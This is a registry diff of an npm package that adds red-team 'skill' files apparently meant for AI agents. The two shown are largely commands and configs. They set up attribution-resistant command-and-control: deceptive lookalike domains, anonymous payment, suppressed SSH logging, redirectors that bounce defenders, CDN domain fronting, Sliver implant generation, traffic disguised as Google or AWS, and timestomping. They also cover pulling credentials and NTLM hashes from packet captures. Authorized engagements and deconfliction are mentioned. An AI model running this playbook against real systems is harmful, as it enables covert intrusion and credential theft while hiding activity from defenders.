rtexit-method 0.1.5 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
|
@@ -0,0 +1,333 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-redteam-infra
|
|
3
|
+
description: "Red team infrastructure setup and operational security skill. C2 server hardening, Apache/Nginx redirectors, domain fronting via CDN (Cloudflare, Azure CDN), malleable C2 profiles for Sliver/Cobalt Strike, categorized domain acquisition, SSL certificates for C2, team server setup, redirector chaining, and operator OPSEC. Use at the start of every engagement to build resilient, attribution-resistant infrastructure."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-redteam-infra — Red Team Infrastructure & OpSec
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Professional red team infrastructure separates the operator from the target. If blue team blocks your C2 IP, redirectors absorb the hit while the team server stays hidden. Domain fronting makes C2 traffic look like legitimate CDN traffic. Good infrastructure = longer dwell time, realistic APT simulation.
|
|
11
|
+
|
|
12
|
+
**Infrastructure layers:**
|
|
13
|
+
```
|
|
14
|
+
Operator → Team Server (hidden) → Redirector(s) → Target
|
|
15
|
+
↕
|
|
16
|
+
CDN / Domain Front
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Domain Acquisition & Categorization
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Buy domains that look legitimate and are pre-categorized
|
|
25
|
+
# Categorized domains bypass web proxies that block "Uncategorized" traffic
|
|
26
|
+
|
|
27
|
+
# Check domain categorization
|
|
28
|
+
curl "https://sitereview.bluecoat.com/v/sitereview.jsp?url=TARGET_DOMAIN"
|
|
29
|
+
# Or: Fortinet, McAfee, Palo Alto URL categorization checkers
|
|
30
|
+
|
|
31
|
+
# Good categories for C2: Technology, Business, CDN, Cloud Services
|
|
32
|
+
# Bad categories: Newly Registered, Malware, Suspicious
|
|
33
|
+
|
|
34
|
+
# Aged domains (registered 1+ years ago) = more trusted
|
|
35
|
+
# Tool: expireddomains.net — find expired domains with good reputation
|
|
36
|
+
|
|
37
|
+
# Domain naming patterns for believability:
|
|
38
|
+
# cdn-assets-[company].com
|
|
39
|
+
# updates-[software].com
|
|
40
|
+
# telemetry-[product].net
|
|
41
|
+
# api-gateway-[company].io
|
|
42
|
+
# [company]-cloud-services.com
|
|
43
|
+
|
|
44
|
+
# Check domain history before buying
|
|
45
|
+
curl "https://web.archive.org/web/*/DOMAIN"
|
|
46
|
+
# Avoid: domains previously used for spam/malware
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Phase 2 — VPS / Cloud Infrastructure Setup
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
# Use separate providers for team server and redirectors
|
|
55
|
+
# Team server: Hetzner, OVH, DigitalOcean (EU providers harder to subpoena quickly)
|
|
56
|
+
# Redirectors: AWS, Azure, GCP (looks like legitimate cloud traffic)
|
|
57
|
+
|
|
58
|
+
# NEVER use your real identity for red team infra
|
|
59
|
+
# Pay with crypto or gift cards for anonymity in authorized tests
|
|
60
|
+
|
|
61
|
+
# Basic VPS hardening (team server)
|
|
62
|
+
# Change SSH port
|
|
63
|
+
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
|
|
64
|
+
systemctl restart sshd
|
|
65
|
+
|
|
66
|
+
# Restrict access to team only
|
|
67
|
+
ufw default deny incoming
|
|
68
|
+
ufw allow from OPERATOR_IP to any port 2222 # SSH — operators only
|
|
69
|
+
ufw allow from REDIRECTOR_IP to any port 50050 # Cobalt Strike / Sliver
|
|
70
|
+
ufw allow 80,443/tcp # For letsencrypt
|
|
71
|
+
ufw enable
|
|
72
|
+
|
|
73
|
+
# No logging of operator IPs
|
|
74
|
+
sed -i 's/^LogLevel.*/LogLevel QUIET/' /etc/ssh/sshd_config
|
|
75
|
+
|
|
76
|
+
# Firewall: only redirectors can reach team server
|
|
77
|
+
# Targets should NEVER see team server IP directly
|
|
78
|
+
iptables -A INPUT -s REDIRECTOR_IP -p tcp --dport 50050 -j ACCEPT
|
|
79
|
+
iptables -A INPUT -p tcp --dport 50050 -j DROP
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Phase 3 — Apache/Nginx Redirector Setup
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
# Redirector sits between target and team server
|
|
88
|
+
# Blue team sees redirector IP — team server IP stays hidden
|
|
89
|
+
# Redirector checks URI/headers → forwards legit C2 traffic → blocks scanners/defenders
|
|
90
|
+
|
|
91
|
+
# Install Apache
|
|
92
|
+
apt install apache2 -y
|
|
93
|
+
a2enmod proxy proxy_http rewrite ssl headers
|
|
94
|
+
|
|
95
|
+
# /etc/apache2/sites-available/redirector.conf
|
|
96
|
+
cat > /etc/apache2/sites-available/redirector.conf << 'EOF'
|
|
97
|
+
<VirtualHost *:443>
|
|
98
|
+
ServerName cdn-assets-corp.com
|
|
99
|
+
SSLEngine on
|
|
100
|
+
SSLCertificateFile /etc/letsencrypt/live/cdn-assets-corp.com/fullchain.pem
|
|
101
|
+
SSLCertificateKeyFile /etc/letsencrypt/live/cdn-assets-corp.com/privkey.pem
|
|
102
|
+
|
|
103
|
+
# Only forward requests matching C2 URI pattern
|
|
104
|
+
# Everything else → redirect to innocent site (avoids detection)
|
|
105
|
+
RewriteEngine On
|
|
106
|
+
RewriteCond %{REQUEST_URI} ^/updates/client/[a-f0-9]{32}$ [NC]
|
|
107
|
+
RewriteRule ^(.*)$ https://TEAM_SERVER_IP:443$1 [P,L]
|
|
108
|
+
|
|
109
|
+
# All other traffic → redirect to Microsoft (looks like CDN)
|
|
110
|
+
RewriteRule ^(.*)$ https://www.microsoft.com/ [R=302,L]
|
|
111
|
+
|
|
112
|
+
# Block scanners
|
|
113
|
+
RewriteCond %{HTTP_USER_AGENT} (curl|python|nmap|masscan|zgrab) [NC]
|
|
114
|
+
RewriteRule .* - [F]
|
|
115
|
+
|
|
116
|
+
ProxyPassReverse / https://TEAM_SERVER_IP:443/
|
|
117
|
+
SSLProxyEngine On
|
|
118
|
+
SSLProxyVerify none
|
|
119
|
+
</VirtualHost>
|
|
120
|
+
EOF
|
|
121
|
+
|
|
122
|
+
a2ensite redirector.conf && systemctl reload apache2
|
|
123
|
+
|
|
124
|
+
# Get SSL cert (Let's Encrypt)
|
|
125
|
+
certbot --apache -d cdn-assets-corp.com
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## Phase 4 — Domain Fronting via CDN
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
# Domain fronting: use CDN to hide true destination
|
|
134
|
+
# HTTP Host header = your C2 domain
|
|
135
|
+
# SNI/TLS = legitimate CDN domain (e.g., allowed-corp.cloudfront.net)
|
|
136
|
+
# CDN routes based on Host header → reaches your C2
|
|
137
|
+
|
|
138
|
+
# Cloudflare Workers domain fronting
|
|
139
|
+
# 1. Put your C2 domain behind Cloudflare (DNS proxied)
|
|
140
|
+
# 2. Configure Worker to route to team server
|
|
141
|
+
# worker.js:
|
|
142
|
+
cat > worker.js << 'EOF'
|
|
143
|
+
addEventListener('fetch', event => {
|
|
144
|
+
event.respondWith(handleRequest(event.request))
|
|
145
|
+
})
|
|
146
|
+
async function handleRequest(request) {
|
|
147
|
+
const url = new URL(request.url)
|
|
148
|
+
// Forward to team server
|
|
149
|
+
const newUrl = `https://TEAM_SERVER_IP${url.pathname}${url.search}`
|
|
150
|
+
return fetch(newUrl, {
|
|
151
|
+
method: request.method,
|
|
152
|
+
headers: request.headers,
|
|
153
|
+
body: request.body
|
|
154
|
+
})
|
|
155
|
+
}
|
|
156
|
+
EOF
|
|
157
|
+
# Deploy via wrangler CLI
|
|
158
|
+
|
|
159
|
+
# Azure CDN fronting
|
|
160
|
+
# Create Azure CDN endpoint → origin = team server
|
|
161
|
+
# Custom domain = your C2 domain
|
|
162
|
+
# Traffic appears to come from *.azureedge.net
|
|
163
|
+
|
|
164
|
+
# Test domain fronting
|
|
165
|
+
curl -H "Host: YOUR_C2_DOMAIN" https://ALLOWED_CDN_DOMAIN/c2-check
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Phase 5 — Sliver C2 with Redirectors
|
|
171
|
+
|
|
172
|
+
```bash
|
|
173
|
+
# Sliver team server setup (open source C2)
|
|
174
|
+
curl https://sliver.sh/install | sudo bash
|
|
175
|
+
|
|
176
|
+
# Start Sliver server
|
|
177
|
+
sudo systemctl start sliver
|
|
178
|
+
|
|
179
|
+
# Connect operator
|
|
180
|
+
sliver-client
|
|
181
|
+
|
|
182
|
+
# Generate implant pointing to redirector (NOT team server)
|
|
183
|
+
generate --http https://cdn-assets-corp.com --os windows --arch amd64 \
|
|
184
|
+
--name implant --save /tmp/
|
|
185
|
+
|
|
186
|
+
# Create HTTP listener on team server
|
|
187
|
+
https -l 443 -d cdn-assets-corp.com
|
|
188
|
+
|
|
189
|
+
# Multiplayer (team) — add operators
|
|
190
|
+
new-operator --name operator1 --lhost TEAM_SERVER_IP
|
|
191
|
+
# Generates operator1.cfg → share with team member
|
|
192
|
+
|
|
193
|
+
# Implant traffic flow:
|
|
194
|
+
# Target → https://cdn-assets-corp.com (redirector) → TEAM_SERVER_IP:443 (sliver)
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## Phase 6 — Malleable C2 Profiles
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
# Malleable profiles customize how C2 traffic looks
|
|
203
|
+
# Goal: make beacon traffic look like legitimate application traffic
|
|
204
|
+
|
|
205
|
+
# Sliver custom traffic profile (traffic looks like Google Analytics)
|
|
206
|
+
# Edit ~/.sliver/configs/http-c2.yaml
|
|
207
|
+
|
|
208
|
+
# Custom URI patterns
|
|
209
|
+
uris:
|
|
210
|
+
- /collect
|
|
211
|
+
- /analytics.js
|
|
212
|
+
- /gtag/js
|
|
213
|
+
- /ga.js
|
|
214
|
+
|
|
215
|
+
# Custom headers (mimics Google Analytics)
|
|
216
|
+
headers:
|
|
217
|
+
- "Cache-Control: no-cache"
|
|
218
|
+
- "Accept: text/html,application/xhtml+xml"
|
|
219
|
+
- "Accept-Language: en-US,en;q=0.9"
|
|
220
|
+
|
|
221
|
+
# Cobalt Strike malleable profile example (if available)
|
|
222
|
+
# https://github.com/rsmudge/Malleable-C2-Profiles
|
|
223
|
+
|
|
224
|
+
# Amazon profile (traffic looks like AWS API calls)
|
|
225
|
+
set useragent "aws-sdk-java/1.12.261";
|
|
226
|
+
http-get {
|
|
227
|
+
set uri "/v1/metadata/";
|
|
228
|
+
client { header "x-amz-date" "..."; }
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
# Test profile detection
|
|
232
|
+
# c2lint profile.profile # CS built-in validator
|
|
233
|
+
# Or: pipe implant traffic through Wireshark → verify looks like claimed app
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Phase 7 — Operator OPSEC
|
|
239
|
+
|
|
240
|
+
```bash
|
|
241
|
+
# Never connect directly to targets from your real IP
|
|
242
|
+
# Chain: Operator → VPN → Jump box → Target
|
|
243
|
+
|
|
244
|
+
# VPN for operators
|
|
245
|
+
# WireGuard setup on jump box
|
|
246
|
+
apt install wireguard -y
|
|
247
|
+
wg genkey | tee /etc/wireguard/private.key | wg pubkey > /etc/wireguard/public.key
|
|
248
|
+
|
|
249
|
+
# /etc/wireguard/wg0.conf (server)
|
|
250
|
+
[Interface]
|
|
251
|
+
Address = 10.8.0.1/24
|
|
252
|
+
ListenPort = 51820
|
|
253
|
+
PrivateKey = SERVER_PRIVATE_KEY
|
|
254
|
+
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|
255
|
+
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
|
|
256
|
+
|
|
257
|
+
[Peer]
|
|
258
|
+
# Operator 1
|
|
259
|
+
PublicKey = OPERATOR1_PUBLIC_KEY
|
|
260
|
+
AllowedIPs = 10.8.0.2/32
|
|
261
|
+
|
|
262
|
+
wg-quick up wg0
|
|
263
|
+
|
|
264
|
+
# OPSEC checklist per engagement:
|
|
265
|
+
# ✅ All traffic through VPN → jump box → target
|
|
266
|
+
# ✅ No direct connections team server ↔ target
|
|
267
|
+
# ✅ Redirectors in place before first beacon
|
|
268
|
+
# ✅ Domain categorized before use
|
|
269
|
+
# ✅ Unique implant per target (no cross-engagement reuse)
|
|
270
|
+
# ✅ Malleable profile matching engagement's allowed traffic
|
|
271
|
+
# ✅ Timestomp all dropped files
|
|
272
|
+
# ✅ Clear logs after engagement (with client approval)
|
|
273
|
+
# ✅ Screenshot all actions for evidence
|
|
274
|
+
|
|
275
|
+
# Deconfliction — register your IPs with SOC
|
|
276
|
+
# "Safe listing" — tell blue team your op IPs to avoid friendly fire
|
|
277
|
+
# Deconfliction email: "Our red team IPs: X.X.X.X — please whitelist"
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## Phase 8 — Infrastructure Teardown
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
# After engagement ends — destroy all infrastructure
|
|
286
|
+
|
|
287
|
+
# Remove implants
|
|
288
|
+
# In Sliver: session → kill → all
|
|
289
|
+
sessions
|
|
290
|
+
kill --all
|
|
291
|
+
|
|
292
|
+
# Destroy VPS instances
|
|
293
|
+
# AWS: aws ec2 terminate-instances --instance-ids i-XXXXX
|
|
294
|
+
# DigitalOcean: doctl compute droplet delete DROPLET_ID
|
|
295
|
+
|
|
296
|
+
# Revoke certificates
|
|
297
|
+
certbot revoke --cert-path /etc/letsencrypt/live/DOMAIN/cert.pem
|
|
298
|
+
|
|
299
|
+
# Remove DNS records
|
|
300
|
+
# Delete all A records pointing to red team infrastructure
|
|
301
|
+
|
|
302
|
+
# Burn domains (don't reuse across engagements)
|
|
303
|
+
# Each engagement = fresh domains
|
|
304
|
+
|
|
305
|
+
# Final checklist:
|
|
306
|
+
# ✅ All beacons killed
|
|
307
|
+
# ✅ Persistence removed from targets
|
|
308
|
+
# ✅ VPS destroyed
|
|
309
|
+
# ✅ Domains released/burned
|
|
310
|
+
# ✅ Operator VPN config revoked
|
|
311
|
+
# ✅ Evidence logs delivered to client
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## Skill Levels
|
|
317
|
+
|
|
318
|
+
**BEGINNER:** Single VPS + direct C2 connection (no redirectors) — acceptable for simple engagements
|
|
319
|
+
|
|
320
|
+
**INTERMEDIATE:** Nginx redirector + categorized domain + Let's Encrypt cert + WireGuard VPN for operators
|
|
321
|
+
|
|
322
|
+
**ADVANCED:** Apache malleable redirector + domain fronting via CDN + Sliver with custom HTTP profile
|
|
323
|
+
|
|
324
|
+
**EXPERT:** Multi-hop redirector chains + multiple CDN providers + custom malleable profiles + full deconfliction workflow
|
|
325
|
+
|
|
326
|
+
---
|
|
327
|
+
|
|
328
|
+
## References
|
|
329
|
+
|
|
330
|
+
- Sliver C2: https://github.com/BishopFox/sliver
|
|
331
|
+
- Malleable C2 Profiles: https://github.com/rsmudge/Malleable-C2-Profiles
|
|
332
|
+
- RedTeam Infrastructure Wiki: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
|
|
333
|
+
- MITRE ATT&CK T1090: https://attack.mitre.org/techniques/T1090/
|
|
@@ -0,0 +1,283 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-traffic-analysis
|
|
3
|
+
description: "Network traffic capture and analysis skill for authorized engagements. Wireshark capture filters and display filters, tcpdump workflows, credential extraction from pcap files, protocol identification, C2 traffic analysis, TLS fingerprinting (JA3/JA3S), detecting lateral movement in packet captures, and automated pcap analysis with NetworkMiner and Zeek. Use when analyzing captured network traffic, verifying C2 traffic profile, or investigating network-level evidence."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-traffic-analysis — Network Traffic Capture & Analysis
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Traffic analysis in red teaming serves two purposes: finding credentials and sensitive data in captured traffic, and verifying that your own C2 traffic blends in and avoids detection signatures.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Capture Setup
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# tcpdump — command line capture
|
|
18
|
+
# Capture all traffic on interface
|
|
19
|
+
tcpdump -i eth0 -w capture.pcap
|
|
20
|
+
|
|
21
|
+
# Capture specific host
|
|
22
|
+
tcpdump -i eth0 host 10.10.10.50 -w target.pcap
|
|
23
|
+
|
|
24
|
+
# Capture specific port range
|
|
25
|
+
tcpdump -i eth0 'port 80 or port 443 or port 8080' -w web.pcap
|
|
26
|
+
|
|
27
|
+
# Capture credentials (unencrypted protocols)
|
|
28
|
+
tcpdump -i eth0 'port 21 or port 23 or port 110 or port 143 or port 25' -w cleartext.pcap
|
|
29
|
+
# 21=FTP, 23=Telnet, 110=POP3, 143=IMAP, 25=SMTP
|
|
30
|
+
|
|
31
|
+
# Capture from remote host (pipe over SSH)
|
|
32
|
+
ssh user@PIVOT_HOST "tcpdump -i eth0 -w - 'not port 22'" | wireshark -k -i -
|
|
33
|
+
|
|
34
|
+
# Promiscuous mode (capture all traffic on segment)
|
|
35
|
+
tcpdump -i eth0 -p # -p = don't use promiscuous (default on)
|
|
36
|
+
ip link set eth0 promisc on # Enable promiscuous
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Phase 2 — Wireshark Filters
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# Credential extraction filters
|
|
45
|
+
|
|
46
|
+
# HTTP POST requests (login forms)
|
|
47
|
+
http.request.method == "POST"
|
|
48
|
+
|
|
49
|
+
# HTTP basic auth
|
|
50
|
+
http.authorization
|
|
51
|
+
|
|
52
|
+
# FTP credentials
|
|
53
|
+
ftp.request.command == "PASS" or ftp.request.command == "USER"
|
|
54
|
+
|
|
55
|
+
# Telnet (capture stream)
|
|
56
|
+
telnet
|
|
57
|
+
|
|
58
|
+
# SMTP auth
|
|
59
|
+
smtp.auth
|
|
60
|
+
|
|
61
|
+
# NTLM authentication (all protocols)
|
|
62
|
+
ntlmssp
|
|
63
|
+
|
|
64
|
+
# Kerberos
|
|
65
|
+
kerberos
|
|
66
|
+
|
|
67
|
+
# DNS queries (C2 detection / data exfiltration detection)
|
|
68
|
+
dns
|
|
69
|
+
|
|
70
|
+
# Long DNS queries (possible DNS tunneling)
|
|
71
|
+
dns.qry.name.len > 50
|
|
72
|
+
|
|
73
|
+
# SMB file access
|
|
74
|
+
smb2.cmd == 5 # SMB2 Read
|
|
75
|
+
|
|
76
|
+
# Key display filters
|
|
77
|
+
ip.addr == 10.10.10.50 # Traffic to/from specific host
|
|
78
|
+
ip.src == 10.10.10.0/24 # From subnet
|
|
79
|
+
tcp.port == 4444 # Specific port (C2 detection)
|
|
80
|
+
frame.len > 1400 # Large packets
|
|
81
|
+
tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN scan detection
|
|
82
|
+
http.response.code == 200 # Successful HTTP responses
|
|
83
|
+
ssl.handshake.type == 1 # TLS Client Hello
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## Phase 3 — Automated Credential Extraction
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
# NetworkMiner — GUI tool, auto-extracts credentials from pcap
|
|
92
|
+
# https://www.netresec.com/?page=NetworkMiner
|
|
93
|
+
mono NetworkMiner.exe capture.pcap
|
|
94
|
+
# Credentials tab → all extracted usernames/passwords
|
|
95
|
+
|
|
96
|
+
# PCredz — automated credential extraction
|
|
97
|
+
git clone https://github.com/lgandx/PCredz
|
|
98
|
+
python3 PCredz.py -f capture.pcap
|
|
99
|
+
# Extracts: HTTP Basic, FTP, Telnet, POP3, IMAP, SNMP community strings, NTLMv1/v2
|
|
100
|
+
|
|
101
|
+
# Dsniff tools
|
|
102
|
+
dsniff -p capture.pcap # Extract passwords from pcap
|
|
103
|
+
urlsnarf -p capture.pcap # Extract URLs
|
|
104
|
+
msgsnarf -p capture.pcap # IM/chat messages
|
|
105
|
+
mailsnarf -p capture.pcap # Email contents
|
|
106
|
+
|
|
107
|
+
# Extract HTTP credentials with tshark
|
|
108
|
+
tshark -r capture.pcap -Y "http.request.method==POST" \
|
|
109
|
+
-T fields -e http.host -e http.request.uri -e urlencoded-form.value
|
|
110
|
+
|
|
111
|
+
# Extract all HTTP request bodies
|
|
112
|
+
tshark -r capture.pcap -Y "http" -T fields \
|
|
113
|
+
-e ip.src -e ip.dst -e http.request.method \
|
|
114
|
+
-e http.request.uri -e http.file_data
|
|
115
|
+
|
|
116
|
+
# NTLM hash extraction
|
|
117
|
+
tshark -r capture.pcap -Y "ntlmssp.auth" -T fields \
|
|
118
|
+
-e ntlmssp.auth.username -e ntlmssp.auth.domain \
|
|
119
|
+
-e ntlmssp.ntlmserverchallenge -e ntlmssp.auth.ntresponse
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Phase 4 — TLS Fingerprinting (JA3/JA3S)
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# JA3 fingerprints identify TLS clients (browsers, malware, tools)
|
|
128
|
+
# JA3S fingerprints identify TLS servers
|
|
129
|
+
# Use to: verify your C2 traffic, detect blue team tools, identify malware
|
|
130
|
+
|
|
131
|
+
# Install ja3
|
|
132
|
+
pip3 install pyja3
|
|
133
|
+
|
|
134
|
+
python3 << 'EOF'
|
|
135
|
+
import pyshark
|
|
136
|
+
|
|
137
|
+
cap = pyshark.FileCapture('capture.pcap', display_filter='ssl.handshake.type==1')
|
|
138
|
+
for pkt in cap:
|
|
139
|
+
try:
|
|
140
|
+
ja3 = pkt.ssl.handshake_type
|
|
141
|
+
print(f"Src: {pkt.ip.src} → JA3: {pkt.ssl.ja3}")
|
|
142
|
+
except: pass
|
|
143
|
+
EOF
|
|
144
|
+
|
|
145
|
+
# Compare against known JA3 databases
|
|
146
|
+
# https://ja3er.com/
|
|
147
|
+
# Cobalt Strike default JA3: 72a7c4f3d7c7cdbf3f8b1c1e9dbf3c1f (well-known, blocked)
|
|
148
|
+
# → Use malleable profile to change JA3
|
|
149
|
+
|
|
150
|
+
# tshark JA3 extraction
|
|
151
|
+
tshark -r capture.pcap -Y "tls.handshake.type==1" \
|
|
152
|
+
-T fields -e ip.src -e tls.handshake.ja3
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## Phase 5 — C2 Traffic Verification
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# Before engagement: verify your own C2 traffic blends in
|
|
161
|
+
# Capture your beacon traffic → analyze for detection signatures
|
|
162
|
+
|
|
163
|
+
# Check beacon interval regularity (beacons are too regular = detectable)
|
|
164
|
+
python3 << 'EOF'
|
|
165
|
+
from scapy.all import rdpcap, IP
|
|
166
|
+
import statistics
|
|
167
|
+
|
|
168
|
+
pkts = rdpcap("c2_traffic.pcap")
|
|
169
|
+
times = [p.time for p in pkts if IP in p and p[IP].dst == "C2_IP"]
|
|
170
|
+
intervals = [times[i+1]-times[i] for i in range(len(times)-1)]
|
|
171
|
+
print(f"Mean interval: {statistics.mean(intervals):.2f}s")
|
|
172
|
+
print(f"Std deviation: {statistics.stdev(intervals):.2f}s")
|
|
173
|
+
# Low stdev = too regular → increase jitter in C2 profile
|
|
174
|
+
EOF
|
|
175
|
+
|
|
176
|
+
# Check packet sizes (uniform sizes = suspicious)
|
|
177
|
+
tshark -r c2_traffic.pcap -T fields -e frame.len | sort | uniq -c | sort -rn | head -10
|
|
178
|
+
# All same size = suspicious → add padding in malleable profile
|
|
179
|
+
|
|
180
|
+
# Check DNS query frequency
|
|
181
|
+
tshark -r c2_traffic.pcap -Y dns -T fields -e dns.qry.name | \
|
|
182
|
+
awk '{print $1}' | sort | uniq -c | sort -rn | head -20
|
|
183
|
+
# Unusual subdomains or high frequency = DNS C2 signature
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## Phase 6 — Zeek (Bro) Analysis
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# Zeek generates structured logs from pcap — easier to query than raw pcap
|
|
192
|
+
apt install zeek -y
|
|
193
|
+
|
|
194
|
+
# Analyze pcap
|
|
195
|
+
zeek -r capture.pcap
|
|
196
|
+
ls *.log
|
|
197
|
+
# conn.log = all connections
|
|
198
|
+
# http.log = HTTP requests
|
|
199
|
+
# dns.log = DNS queries
|
|
200
|
+
# ssl.log = TLS connections
|
|
201
|
+
# files.log = transferred files
|
|
202
|
+
# weird.log = protocol anomalies
|
|
203
|
+
|
|
204
|
+
# Find C2 beacons (regular connections)
|
|
205
|
+
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration | \
|
|
206
|
+
awk '$4 < 1' | sort | uniq -c | sort -rn | head -20
|
|
207
|
+
# Regular short connections to same host = beacon pattern
|
|
208
|
+
|
|
209
|
+
# DNS tunneling detection
|
|
210
|
+
cat dns.log | zeek-cut query | awk '{print length($1), $1}' | \
|
|
211
|
+
sort -rn | head -20 | awk '$1 > 50'
|
|
212
|
+
# Long DNS queries = tunneling
|
|
213
|
+
|
|
214
|
+
# Data exfiltration detection
|
|
215
|
+
cat conn.log | zeek-cut id.orig_h id.resp_h orig_bytes | \
|
|
216
|
+
sort -k3 -rn | head -10
|
|
217
|
+
# Large outbound transfers
|
|
218
|
+
|
|
219
|
+
# HTTP user-agent analysis
|
|
220
|
+
cat http.log | zeek-cut user_agent | sort | uniq -c | sort -rn
|
|
221
|
+
# Unusual user agents = custom tools
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
## Phase 7 — Protocol Identification
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
# Identify unknown protocols in captures
|
|
230
|
+
|
|
231
|
+
# Wireshark: Analyze → Decode As → try different protocols
|
|
232
|
+
|
|
233
|
+
# tshark protocol summary
|
|
234
|
+
tshark -r capture.pcap -q -z io,phs
|
|
235
|
+
# Shows protocol hierarchy
|
|
236
|
+
|
|
237
|
+
# Find non-standard ports with known protocols
|
|
238
|
+
tshark -r capture.pcap -q -z conv,tcp | head -20
|
|
239
|
+
# Port 4444, 8888 etc = likely C2
|
|
240
|
+
|
|
241
|
+
# ngrep — grep through packet payloads
|
|
242
|
+
ngrep -q -I capture.pcap "password|secret|token" tcp
|
|
243
|
+
|
|
244
|
+
# strings on pcap
|
|
245
|
+
strings capture.pcap | grep -iE "password|api_key|secret|token|Authorization"
|
|
246
|
+
|
|
247
|
+
# Identify binary protocols by magic bytes
|
|
248
|
+
python3 << 'EOF'
|
|
249
|
+
from scapy.all import rdpcap, Raw
|
|
250
|
+
pkts = rdpcap("capture.pcap")
|
|
251
|
+
for pkt in pkts:
|
|
252
|
+
if Raw in pkt:
|
|
253
|
+
payload = bytes(pkt[Raw])
|
|
254
|
+
if payload[:2] == b'\x4d\x5a':
|
|
255
|
+
print("PE executable in traffic!")
|
|
256
|
+
elif payload[:4] == b'\x50\x4b\x03\x04':
|
|
257
|
+
print("ZIP file in traffic!")
|
|
258
|
+
elif b'JFIF' in payload[:20] or b'\xff\xd8\xff' == payload[:3]:
|
|
259
|
+
print("JPEG in traffic!")
|
|
260
|
+
EOF
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
---
|
|
264
|
+
|
|
265
|
+
## Skill Levels
|
|
266
|
+
|
|
267
|
+
**BEGINNER:** tcpdump capture + Wireshark display filters for credentials · PCredz automated extraction
|
|
268
|
+
|
|
269
|
+
**INTERMEDIATE:** JA3 fingerprinting + C2 traffic profiling · Zeek analysis + DNS tunneling detection
|
|
270
|
+
|
|
271
|
+
**ADVANCED:** Custom Zeek scripts for behavioral analysis · Beacon interval analysis + jitter verification
|
|
272
|
+
|
|
273
|
+
**EXPERT:** ML-based traffic classification · Custom protocol dissectors · Full traffic replay and modification
|
|
274
|
+
|
|
275
|
+
---
|
|
276
|
+
|
|
277
|
+
## References
|
|
278
|
+
|
|
279
|
+
- Wireshark display filters: https://wiki.wireshark.org/DisplayFilters
|
|
280
|
+
- PCredz: https://github.com/lgandx/PCredz
|
|
281
|
+
- Zeek: https://zeek.org
|
|
282
|
+
- JA3: https://github.com/salesforce/ja3
|
|
283
|
+
- MITRE T1040: https://attack.mitre.org/techniques/T1040/
|